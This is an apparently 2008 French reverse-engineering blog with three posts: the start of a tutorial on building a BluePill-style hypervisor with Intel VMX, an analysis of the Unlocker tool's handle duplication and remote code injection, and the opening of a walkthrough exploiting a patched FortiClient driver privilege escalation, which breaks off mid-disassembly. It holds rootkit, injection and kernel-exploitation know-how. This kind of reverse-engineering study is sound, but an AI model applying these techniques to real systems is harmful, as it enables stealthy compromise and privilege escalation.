Posts filed under 'RE'
J’ai décidé de me réveiller après avoir passé une soirée à me faire défoncer par Jean-Marie à propos d’un exploit quelque peu … défaillant. Je me rachète en commençant une série de post sur la virtualisation, sujet à la mode en ce moment. Je vous propose de découvrir comment coder votre propre petit hyperviseur, le but étant de comprendre comment fonctionne le support hardware au niveau de la virtualisation, de voir ses capacités et de les utiliser à plus ou moins bon escient. Je vais juste vous montrer comment réaliser un BluePill like sous architecture Intel en utilisant la feature VT sous 32 bits. Abyss has virtualized you !
Le concept de BluePill est simple, il consiste à utiliser le support VMX (Virtual Machine eXtensions) sous Intel ou bien SVM (Secure Virtual Machine) pour AMD pour virtualiser le système d’exploitation et ainsi ajouter une couche entre votre hardware et votre OS. Dans le cadre d’une virtualisation assistée par le processeur on parle d’une HVM (Hardware-assisted Virtual Machine), les constructeurs ont fournit ces jeux d’instructions afin de simplifier la vie des développeurs tout en améliorant les performances des produits de virtualisation.
D’abord quelques définitions, j’essaye de respecter les notations provenant des white-papers de VMWare : Un hyperviseur est un programme utilisant le support hardware pour gérer plusieurs VM (Virtual Machine) représentés par des VMM (Virtual Machine Monitor). Une VM s’exécute en mode non-root, un VMM en mode root, le HVM est, quant à lui, aussi en mode root. On peut parler aussi d’Host et de Guest, l’Host étant la machine hébergeant plusieurs Guest virtualisés.
Dans le cas présent nous avons affaire à une exception, en effet, l’Host et le Guest sont confondus. Cela veut dire que notre OS s’exécutera en mode non-root la majeure partie du temps, un passage en mode root sera requis pour gérer des cas précis, c’est à ce moment que nous pouvons contrôler son comportement. Ici l’HVM est confondu avec un VMM du fait qu’il n’existe qu’une seule VM qui est notre OS, un bel endomorphisme en tout cas :]
Le passage de l’hyperviseur à la VM s’appel VM Entry, l’inverse est nommé VM Exit. Le principe d’une machine virtuelle est là, la VM fonctionne de manière autonome sauf pour certaines opérations sensibles ou elle doit faire un VM exit pour laisser l’hyperviseur gérer la chose. L’HVM fait son boulot et rend la main à la VM avec un VM Entry, cela continue tant que l’hyperviseur décide de faire tourner la VM, s’il n’a pas crashé entre temps !
Pour commencer, il faut lire la doc, je dirais même plus, bouffer la doc ! C’est un travail assez long et fastidieux car le man Intel est super détaillé à ce sujet. On retrouve la documentation décrivant le VMX au chapitre 19 du « Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3B: System Programming Guide, Part 2« .
Dans ce premier post je vais vous montrer comment détecter si votre processeur supporte le VMX, voir si il est disponible, puis je vous montrerais comment l’initialiser.
Première étape donc : vérifier que le proco gère bien le VMX, chose simple, il suffit d’appeler l’instruction CPUID avec le registre EAX mit à 1. CPUID retourne dans ECX une structure du type :
//
// Used by the cpuid instruction when eax=1
//
typedef struct _VMX_FEATURES
{
unsigned SSE3 :1; // SSE3 Extensions
unsigned RES1 :2;
unsigned MONITOR :1; // MONITOR/WAIT
unsigned DS_CPL :1; // CPL qualified Debug Store
unsigned VMX :1; // Virtual Machine Technology
unsigned RES2 :1;
unsigned EST :1; // Enhanced Intel© Speedstep Technology
unsigned TM2 :1; // Thermal monitor 2
unsigned SSSE3 :1; // SSSE3 extensions
unsigned CID :1; // L1 context ID
unsigned RES3 :2;
unsigned CX16 :1; // CMPXCHG16B
unsigned xTPR :1; // Update control
unsigned PDCM :1; // Performance/Debug capability MSR
unsigned RES4 :2;
unsigned DCA :1;
unsigned RES5 :13;
} VMX_FEATURES;
Le champ VMX (bit 5) nous indique donc si oui ou non notre CPU supporte le VMX.
Après, il se peut que le support VMX soit désactiver par votre BIOS pour le savoir il faut contrôler le MSR IA32_FEATURE_CONTROL (indice 0x3A) définit par :
typedef struct _IA32_FEATURE_CONTROL_MSR
{
unsigned Lock :1; // Bit 0 is the lock bit - cannot be modified once lock is set, controled by BIOS
unsigned VmxonInSmx :1;
unsigned VmxonOutSmx :1;
unsigned Reserved2 :29;
unsigned Reserved3 :32;
} IA32_FEATURE_CONTROL_MSR;
Le bit 0 (Lock Bit) est celui contrôler par le BIOS, le bit 1 définit si l’instruction VMXON est autorisée en mode non SMX tandis que le bit 2 définit si VMXON peut être lancée en mode SMX. Le SMX (Safer Mode eXtension) est apparu sur les processeurs Intel 64 bits et fournit un ensemble de fonctionnalité permettant d’établir un environnement protégé conçu par l’utilisateur basé sur le support VMX, il faudrait que je lise la doc pour comprendre de quoi il s’agit en détail.
VMXON est une instruction provenant du VMX, elle permet de mettre le CPU en mode « VMX Operation », l’instruction VMXON demande à ce qu’on lui fournisse un espace mémoire respectant certaines propriétés. Pour connaitre les besoins de VMXON il faut lire le MSR IA32_VMX_BASIC (0×480):
typedef struct _IA32_VMX_BASIC_MSR
{
unsigned RevId :32; // Bits 31..0 contain the VMCS and VMXON revision identifier
unsigned VMRegionSize :12; // Bits 43..32 report # of bytes for VMXON and VMCS regions
unsigned RegionClear :1; // Bit 44 set only if bits 32-43 are clear
unsigned Reserved1 :3; // Undefined
unsigned PhyAddrWidth :1; // Physical address width for referencing VMXON, VMCS, etc.
unsigned DualMon :1; // Reports whether the processor supports dual-monitor
// treatment of SMI and SMM
unsigned MemType :4; // Memory type that the processor uses to access the VMCS
unsigned VmExitReport :1; // Reports weather the procesor reports info in the VM-exit
// instruction information field on VM exits due to execution
// of the INS and OUTS instructions
unsigned Reserved2 :9; // Undefined
} IA32_VMX_BASIC_MSR;
Des champs PhyAddrWidth et MemType de ce MSR on déduit le type et la taille de la mémoire à allouer pour VMXON. En général il suffit d’une page allouée en mémoire non caché. Heureusement le noyau nous fournit l’API MmAllocateNonCachedMemory pour allouer de la mémoire sans passer par les caches L1 ou L2.
A noter qu’il faut mettre dans les 4 premiers bytes de la VMXONRegion la valeur du RevID obtenu dans le MSR IA32_VMX_BASIC.
Avant de lancer VXMON il faut s’assurer que le bit 13 (VMXE) du registre de contrôle CR4 soit positionné à 1 sinon on aura un #UD (invalid-opcode exception, handlé par la routine KiTrap06) lorsque VMXON sera lancé. Une fois que le CPU est en mode VMX Operation il n’est plus possible de modifier ce bit. Je rappel que le rôle du CR4 est d’indiquer et de contrôler certaines extensions du CPU, il est définit par :
typedef struct _CR4_REG
{
unsigned VME :1; // Virtual Mode Extensions
unsigned PVI :1; // Protected-Mode Virtual Interrupts
unsigned TSD :1; // Time Stamp Disable
unsigned DE :1; // Debugging Extensions
unsigned PSE :1; // Page Size Extensions
unsigned PAE :1; // Physical Address Extension
unsigned MCE :1; // Machine-Check Enable
unsigned PGE :1; // Page Global Enable
unsigned PCE :1; // Performance-Monitoring Counter Enable
unsigned OSFXSR :1; // OS Support for FXSAVE/FXRSTOR
unsigned OSXMMEXCPT :1; // OS Support for Unmasked SIMD Floating-Point Exceptions
unsigned Reserved1 :2; //
unsigned VMXE :1; // Virtual Machine Extensions Enabled
unsigned Reserved2 :18; //
} CR4_REG;
De plus, les bits 0 (PE) pour le mode protégé et 31 (PG) pour la pagination du CR0 doivent être à 1, c’est généralement déjà le cas à cause de notre OS, heureusement :=). Le PAE ne change rien dans l’activation de l’hyperviseur.
Enfin, pour lancer VMXON il faut lui donner un pointeur sur une zone de mémoire de 64 bits contenant l’adresse physique de la VMXONRegion. On fait simple en obtenant la PHYSICAL_ADDRESS de notre VMXONRegion avec MmGetPhysicalAddress puis on push sur la stack les 32 bits de poids fort d’abord puis les 32 bits de poid faible. On exécute un VMXON qword ptr [esp], on n’oublie pas de réaligner la stack et de checker le CF (bit 0) de l’EFLAGS, si il est à 1 c’est que VMXON a foiré. Hop nous avons initialisé le VMX sur le core ! \o/
La prochaine partie sera consacrée à l’initialisation de la VMCS, cette structure sert à définir l’état de l’Host et du Guest, la manière de gérer les interruptions et exceptions et plein d’autres choses.
Je fournirais le code entier de l’hyperviseur à la fin de cette série, je vous promet qu’il y aura des surprises dedans !
Get the Windows XP SP3 here !
ref :
http://ivanlef0u.fr/repo/index.php?path=./windoz/hvm
avril 29th, 2008
Un comment laissé sur mon blog récemment a attiré mon attention, j’ai donc décidé de répondre par mail à son auteur. Après plusieurs échanges j’ai décidé de compiler mes découvertes et de vous en faire profiter.
Yo Regis, j’ai vu votre comment et j’ai décidé de regarder d’un peu plus près le tool unlocker afin de comprendre son fonctionnement. Je l’ai donc installé en VM et analysé principalement avec IDA et ollydbg. J’étais vraiment curieux alors j’ai poussé mes investigations un peu loin, à vous de juger, en tout cas unlocker n’a plus beaucoup de secrets pour moi à présent, modulo les erreurs que j’ai pu faire bien sur. Voici ce que j’ai compris de son fonctionnement, attention prenez votre respiration, c’est partit !
Les fichiers exécutables sont mit dans « C:\Program Files\Unlocker », on y trouve :
Unlocker.exe
UnlockerAssistant.exe
UnlockerCOM.dll
UnlockerHook.dll
UnlockerDriver5.sys
Alors après une petite analyse j’ai établit les dépendances :
Unlocker.exe -> UnlockerDriver5.sys
UnlockerAssistant.exe -> UnlockerHook.dll
UnlockerCOM.dll est chargé dans explorer.exe avec les shellextension utilisant les clés :
{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83}
Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved
folder\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
AllFileSystemObjects\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
software\\classes\\clsid\\UnlockerShellExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} contient par exemple
defaut : C:\Program Files\Unlocker\UnlockerCOM.dll
ThreadindModel : Apartment
Ces clés sont mises en place lors de l’installation.
Pour plus d’infos sur les extensions shell voir : Adding Explorer Bars
et la prog COM : Step by Step COM Tutorial
Ok, ca c’est pour le shell, qui est en fait juste une interface pour lancer le Unlocker.exe.
Sinon j’ai remarqué que UnlockerHook.dll au moment d’être chargé par UnlockerAssistant.exe va installer des hooks de messages de type WH_CBT (création de fenêtres..) avec l’api SetWindowsHookEx. Quand elle est injecté dans un nouveau process elle va mettre un inline hook sur la fonction SHFileOperationW mais uniquement lorsque quelle se retrouve injecté dans explorer.exe. Je n’ai pas trop bien compris a quoi servait le hook surtout que les valeurs de retour de la fonction ne sont pas documentées, je pense que le développeur a dur étudier le comportement de la fonction et comprendre par lui même la signification de certaines valeurs de retour. De toute façon ce n’est pas là qu’est le coeur du fonctionnement du soft. Avec plus de recherches il y a moyen de comprendre pourquoi il hook cette fonction imo.
Bon, en fait le problème c’est les handles qui sont dit « locker » mais qu’est ce que cela veut dire ? Si on regarde le prototype de CreateFile on a :
HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in HANDLE hTemplateFile
);
Le param dwShareMode correspond à la façon dont le handle pourra être partagé entre les processus. Dans le cas ou celui ci vaut 0, le handle ne pourra pas être ouvert par un autre process tant qu’il ne sera pas fermé par CloseHandle par le process qui l’a ouvert en premier. C’est le kernel qui effectue c’est vérification et qui renvoie une erreur au subsytem disant « Le fichier est utiliser par une autre application blablaba… »
Le programme principal se situe donc dans Unlocker.exe, lorsqu’on veut « unlocker » un fichier son path est passé en argument au programme qui va ensuite procéder de 2 façons :
- Dans le cas ou le fichier est une DLL, le tool va crée un utiliser CreateToolhelp32Snapshot pour avoir une « photo » de tous les process lancés (option TH32CS_SNAPPROCESS) puis énumérer les dll chargées dans chacun en faisant aussi un snapshot mais cette fois avec l’option TH32CS_SNAPMODULE. A partir de cette liste il va chercher dans chacun des process le nom des modules puis voir s’il trouve la DLL concernée. Si oui alors il injecte un code dans le process avec le triplet VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. Le code injecté va donc se retrouver dans le process qui a chargé la DLL puis va utiliser GetModuleHandle pour obtenir un handle dessus et FreeLibrary pour la décharger du processus.
Remarquez que je trouve un peu con de faire comme ca car le handle sur la DLL est en fait son ImageBase, qu’on peut très bien obtenir depuis le snapshot, il suffirait donc d’injecter un thread pointant sur FreeLibrary avec en argument l’ImageBase de la DLL pour la décharger.
- Dans le cas d’un fichier « normal », le tool procède d’une manière différente. Pour pouvoir unlocker le fichier, il doit fermer le handle qui est ouvert par un processus X. Cette fois ci il s’agit d’un « vrai » handle, c’est à dire qu’il fait référence à un objet noyau contrairement à un handle sur une DLL qui n’est juste qu’une adresse sur le PE header de celle ci en mémoire. Bref, l’idée consiste donc à énumérer les handles de chaque process, de la scanner afin de trouver le ou les process qui ont ouvert le handle sur ce fichier. Le problème c’est que sous Windows, on ne peut simplement obtenir la liste des handles d’un process, il faut en fait les récupérer dans la liste de TOUS les handles ouvert par le système. Dans le cas de unlocker celui-ci utilise l’API ZwQuerySystemInformation avec l’InformationClass SystemHandleInformation, cette fonction nous renvoie une liste de structures SYSTEM_HANDLE_INFORMATION qui sont de la forme :
typedef struct _SYSTEM_HANDLE_INFORMATION { // Information Class 16
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags; // 0×01 = PROTECT_FROM_CLOSE, 0×02 = INHERIT
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}
Unlocker va utiliser 3 champs de cette structure :
- ProcessId, le PID du process qui à ouvert le handle
- Handle, la valeur du handle dans le context du process qui l’a ouvert (n’oubliez pas, un handle est spécifique uniquement dans le contexte du process qui l’a ouvert !)
- Object, l’adresse dans le kernel de l’objet, pour un fichier c’est un pointeur sur une structure FILE_OBJECT par exemple.
Unlock va d’abord ouvrir un handle sur le process à partir de son PID avec les flags VM_READ|DUP_HANDLE|QUERY_INFORMATION puis utiliser l’api DuplicateHandle, cette api permet comme son nom l’indique de copier un handle dans le contexte d’un autre, c’est très pratique, en effet unlocker va copier le handle dans son contexte afin de pouvoir le manipuler et obtenir des infos dessus, DuplicateHandle est appelé avec les params suivant (extrait de ollydbg) :
00126F94 00000050 |hSourceProcess = 00000050 (window) <-PID du process visé
00126F98 000000C8 |hSource = 000000C8 (window) <- valeur du handle
00126F9C FFFFFFFF |hTargetProcess = FFFFFFFF <- handle de notre process,
00126FA0 0012B654 |phTarget = 0012B654 <- pointeur sur le futur handle
00126FA4 00000000 |Access = 0
00126FA8 00000000 |Inheritable = FALSE
00126FAC 00000000 \Options = 0
Windows autorise le fait de dupliquer le handle, cela veut dire que si on duplique le handle d’un fichier ouvert avec dwShareMode à 0 dans notre process, on se retrouve avec les même accès que le process maître sur le fichier. C’est assez particulier comme fonctionnement je l’avoue mais Windows l’autorise donc c’est cool. En gros, si je duplique un handle « locker » de fichier dans mon process, je peux très bien par la suite lire et écrire dedans comme si j’étais le process original (dépends des droits mit dans dwDesiredAccess au départ).
Une fois que le handle est « copié » dans le contexte de unlocker.exe, le tool va enfin utilise son driver. Après analyse sous IDA il apparait que le driver va servir à retrouver le nom de l’objet référencé dans le kernel. En effet, unlocker va communiquer avec le driver à travers les api WriteFile et ReadFile. La première api sert à envoyer au driver une structure contenant le handle visé et le pointeur sur l’objet kernel, cette structure à donc de la forme de :
typedef struct _RequestObjectName
{
HANDLE Handle;
PVOID Object;
}RequestObjectName, * PRequestObjectName;
Quand le driver reçoit cette structure il va attendre l’appel de l’api ReadFile pour utiliser l’api kernel, ObReferenceObjectByHandle sur le paramètre Handle de la structure RequestObjectName pour retrouver le pointeur sur l’objet dans le kernel. Il le compare ensuite avec le champ Object de la structure pour être sur que unlocker à demander d’analyser cet objet précis puis appel la fonction ObQueryNameString pour obtenir le nom de l’objet qui sera recopier dans un buffer user-land sous forme de structure UNICODE_STRING.
De retour dans unlocker, le code continue d’énumérer ainsi les process ayant ouvert un handle sur le fichier concerné et les énumère dans la listbox.
Quand on demande d’unlocker un fichier, le tool va injecter un thread dans le process visé qui va utiliser le même code que celui qui sert à décharger la une DLL. En fait ce code est assez marrant, il fonctionne de cette façon :
Le code injecté se retrouve soit avec le path de la dll à décharger soit avec la valeur du handle dans le contexte du process visé. Il utilise uniquement 3 fonctions, GetModuleHandle, FreeLibrary et CloseHandle. Il commence par récup un handle sur la DLL avec GetModuleHandle puis entre dans une boucle de 16 itérations, qui va appeler FreeLibray et CloseHandle. Si le développeur à choisit d’utiliser une boucle c’est parce que chaque DLL possède un compteur référençant le nombre de chargements effectués avec LoadLibrary, en faisant une boucle, le tool va décrémenter le compteur (à travers FreeLibrary) référençant le nombre d’appel de LoadLibray sur cette DLL, quand ce compteur atteint 0, FreeLibray décharger la DLL. Dans le cas d’un simple handle, le GetModuleHandle va foirer (son retour n’est pas checké), ce n’est pas grave, le CloseHandle va le fermer ensuite et quitter la boucle.
Voici le code vu sous IDA :
; =============== S U B R O U T I N E =======================================
.text:004105B1
; Attributes: bp-based frame
sub_4105B1 proc near ; DATA XREF: sub_41178F+163 o
; sub_41178F+186 o
compteur= dword ptr -4
remoteinfos= dword ptr 8
push ebp ; remotesinfos struct :
; +0 @FreLibrary
; +4 @GetModuleHandle
; +8 @CloseHandle
; +C handle/full dll path
mov ebp, esp
push ecx
and [ebp+compteur], 0
push ebx
push esi
mov esi, [ebp+remoteinfos]
push edi
lea ebx, [esi+0Ch]
push ebx
call dword ptr [esi+4] ; GetModuleHandle
jmp short loc_4105DC
.text:004105C8 loc_4105C8: ; CODE XREF: sub_4105B1+2F j
cmp [ebp+compteur], 16
jge short loc_4105E2
push edi
call dword ptr [esi] ; FreeLibrary
push edi
call dword ptr [esi+8] ; CloseHandle
push ebx
call dword ptr [esi+4] ; GetModuleHandle
inc [ebp+compteur]
loc_4105DC: ; CODE XREF: sub_4105B1+15 j
mov edi, eax
test edi, edi
jnz short loc_4105C8
loc_4105E2: ; CODE XREF: sub_4105B1+1B j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4105B1 endp
Cependant DuplicateHandle nous fournit une option intéressante, DUPLICATE_CLOSE_SOURCE, qui comme son nom l’indique permet de fermer le handle directement à la source. L’auteur lui à choisit une autre méthode pour fermer le handle, il injecte un petit code dans le process qui l’a ouvert, pourquoi pas …
Le plus simple que je te conseil est de directement crée un thread avec CreateRemoteThread sur la fonction CloseHandle dans le process visé, en mettant en paramètre de ce thread la valeur du handle à fermer, cela devrait fonctionner à merveille.
Remarquez que pour copier un fichier unlocker va aussi injecter un shellcode qui va directement crée la copie depuis le process ayant ouvert le handle sur le fichier, pour s’en rendre compte il suffit de voir quelles APIs il fournit au shellcode injecté :
push offset aCreatefilew ; "CreateFileW"
push [ebp+hModule] ; hModule
mov [ebp+var_818], eax
call esi ; GetProcAddress
push offset aSetfilepointer ; "SetFilePointer"
push [ebp+hModule] ; hModule
mov [ebp+Buffer], eax
call esi ; GetProcAddress
push offset aReadfile ; "ReadFile"
push [ebp+hModule] ; hModule
mov [ebp+var_840], eax
call esi ; GetProcAddress
push offset aWritefile ; "WriteFile"
push [ebp+hModule] ; hModule
mov [ebp+var_83C], eax
call esi ; GetProcAddress
push offset aClosehandle ; "CloseHandle"
push [ebp+hModule] ; hModule
mov [ebp+var_838], eax
call esi ; GetProcAddress
push offset aGlobalalloc ; "GlobalAlloc"
push [ebp+hModule] ; hModule
mov [ebp+var_834], eax
call esi ; GetProcAddress
push offset aGlobalfree ; "GlobalFree"
push [ebp+hModule] ; hModule
mov [ebp+var_830], eax
call esi ; GetProcAddress
push offset aGetfilesize ; "GetFileSize"
push [ebp+hModule] ; hModule
mov [ebp+var_82C], eax
call esi ; GetProcAddress
push offset aSleep ; "Sleep"
push [ebp+hModule] ; hModule
mov [ebp+var_828], eax
call esi ; GetProcAddress
push offset aGetoverlappedr ; "GetOverlappedResult"
push [ebp+hModule] ; hModule
mov [ebp+var_824], eax
call esi ; GetProcAddress
push offset aGetlasterror ; "GetLastError"
Je vous laisse imaginer son fonctionnement ….
Pareil pour la copie je pense qu’il suffit juste de faire un DuplicateHandle sur le fichier puis de recopier son contenu depuis notre process.
Pour les actions de renommer et déplacer, unlocker va simplement fermer le handle puis renommer ou déplacer le fichier après.
Bon alors qu’est ce que j’en pense de tout ca, je pense que pour décharger un DLL, unlocker fait bien le boulot, c’est la méthode la plus simple. Par contre dans le cas d’un fichier, l’utilisation d’un driver un peu lourde, il est possible de faire beaucoup plus simple, en effet pour obtenir le nom de l’objet référencé par un handle après l’avoir dupliqué il suffit d’utiliser l’API ZwQueryObject de prototype :
NTSTATUS NtQueryObject(
__in_opt HANDLE Handle,
__in OBJECT_INFORMATION_CLASS ObjectInformationClass,
__out_opt PVOID ObjectInformation,
__in ULONG ObjectInformationLength,
__out_opt PULONG ReturnLength
Il faut l’utiliser avec ObjectInformationClass ObjectTypeInformation et ObjectNameInformation pour obtenir le type et le nom de l’objet référencé par le handle. Cela est très pratique car c’est un syscall Windows et cela évite de coder un driver exprès. J’en veux pour preuve un post que j’ai rédigé il y a déjà quelques temps Playing With Windows Handles et celui de mon padawan Close a remote handle file. Je pense qu’avec ces codes vous avez tout en main pour réaliser un programme mieux que unlocker
J’ai aussi remarqué une chose intéressant, le tool utilise le device LanmanRedirector pour retrouver les fichiers ouverts par les utilisateurs distant, j’ai découvert ca d’abord sous IDA puis après avoir googlé je suis tombé sur cet article, je n’ai malheureusement pas trouvé de code mettant en place ce processus mais avec une analyse plus profonde de unlocker je pense qu’il n’est pas très difficile de recoder cela.
Ouf, j’espère ne pas trop vous avoir soulé avec mes explications, en tout cas j’ai passé un peu de temps à reverser ce tool, ca m’a fait plaisir. Voilà, vous voyez le reverse c’est cool, mangez en
mars 2nd, 2008
Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!
Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :
3. Fortinet FortiClient Local Privilege Escalation.
Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .
The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.
This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.
On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.
Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.
Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.
kd> !devobj \device\fortimon
Device object (80f047d8) is for:
FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
\FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.
kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
\FileSystem\FAFileMon
Driver Extension List: (id , addr)
Device Object list:
ff8ca768 ffbbed10 ff877aa8 80e85678
ffa59a80 80dc0ed0 80dc7760 80dc79f8
80eb3110 80edab88 80f03ba0 80f047d8
kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
\FileSystem\FAFileMon
Driver Extension List: (id , addr)
Device Object list:
ff8ca768 ffbbed10 ff877aa8 80e85678
ffa59a80 80dc0ed0 80dc7760 80dc79f8
80eb3110 80edab88 80f03ba0 80f047d8
DriverEntry: fa9f6bdc fortimon
DriverStartIo: 00000000
DriverUnload: 00000000
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE fa9f5aac fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE fa9f5764 fortimon+0x764
[02] IRP_MJ_CLOSE fa9f642c fortimon+0x142c
[03] IRP_MJ_READ fa9f5764 fortimon+0x764
[04] IRP_MJ_WRITE fa9f6654 fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION fa9f5764 fortimon+0x764
[06] IRP_MJ_SET_INFORMATION fa9f5aac fortimon+0xaac
[07] IRP_MJ_QUERY_EA fa9f5764 fortimon+0x764
[08] IRP_MJ_SET_EA fa9f5764 fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS fa9f5764 fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION fa9f5764 fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION fa9f5764 fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL fa9f5764 fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL fa9f5782 fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL fa9f5764 fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL fa9f5764 fortimon+0x764
[10] IRP_MJ_SHUTDOWN fa9f5764 fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL fa9f5764 fortimon+0x764
[12] IRP_MJ_CLEANUP fa9f6606 fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT fa9f5764 fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY fa9f5764 fortimon+0x764
[15] IRP_MJ_SET_SECURITY fa9f5764 fortimon+0x764
[16] IRP_MJ_POWER fa9f5764 fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL fa9f5764 fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE fa9f5764 fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA fa9f5764 fortimon+0x764
[1a] IRP_MJ_SET_QUOTA fa9f5764 fortimon+0x764
[1b] IRP_MJ_PNP fa9f5764 fortimon+0x764
Fast I/O routines:
FastIoCheckIfPossible fa9f6d7a fortimon+0x1d7a
FastIoRead fa9f6dbe fortimon+0x1dbe
FastIoWrite fa9f6e02 fortimon+0x1e02
FastIoQueryBasicInfo fa9f6e6c fortimon+0x1e6c
FastIoQueryStandardInfo fa9f6ea6 fortimon+0x1ea6
FastIoLock fa9f6ee0 fortimon+0x1ee0
FastIoUnlockSingle fa9f6f26 fortimon+0x1f26
FastIoUnlockAll fa9f6f66 fortimon+0x1f66
FastIoUnlockAllByKey fa9f6f9e fortimon+0x1f9e
FastIoDeviceControl fa9f714c fortimon+0x214c
FastIoDetachDevice fa9f74e6 fortimon+0x24e6
FastIoQueryNetworkOpenInfo fa9f7558 fortimon+0x2558
MdlRead fa9f7592 fortimon+0x2592
MdlReadComplete fa9f75d2 fortimon+0x25d2
PrepareMdlWrite fa9f7606 fortimon+0x2606
MdlWriteComplete fa9f7666 fortimon+0x2666
FastIoReadCompressed fa9f76bc fortimon+0x26bc
FastIoWriteCompressed fa9f7706 fortimon+0x2706
MdlReadCompleteCompressed fa9f776e fortimon+0x276e
MdlWriteCompleteCompressed fa9f77a0 fortimon+0x27a0
FastIoQueryOpen fa9f77f6 fortimon+0x27f6
Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.
En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.
Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.
; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near
SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov esi, ds:RtlInitUnicodeString
push offset SourceString ; "\\Device\\FortiMon"
lea eax, [ebp+DestinationString]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
push offset aDosdevicesFort ; "\\DosDevices\\FortiMon"
lea eax, [ebp+SymbolicLinkName]
push eax ; DestinationString
call esi ; RtlInitUnicodeString
lea eax, [ebp+DeviceObject]
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 22h ; DeviceType
lea eax, [ebp+DestinationString]
push eax ; DeviceName
push 44h ; DeviceExtensionSize
push [ebp+DriverObject] ; DriverObject
call ds:IoCreateDevice
mov esi, eax
test esi, esi
jl short loc_1054D
lea eax, [ebp+DestinationString]
push eax ; DeviceName
lea eax, [ebp+SymbolicLinkName]
push eax ; SymbolicLinkName
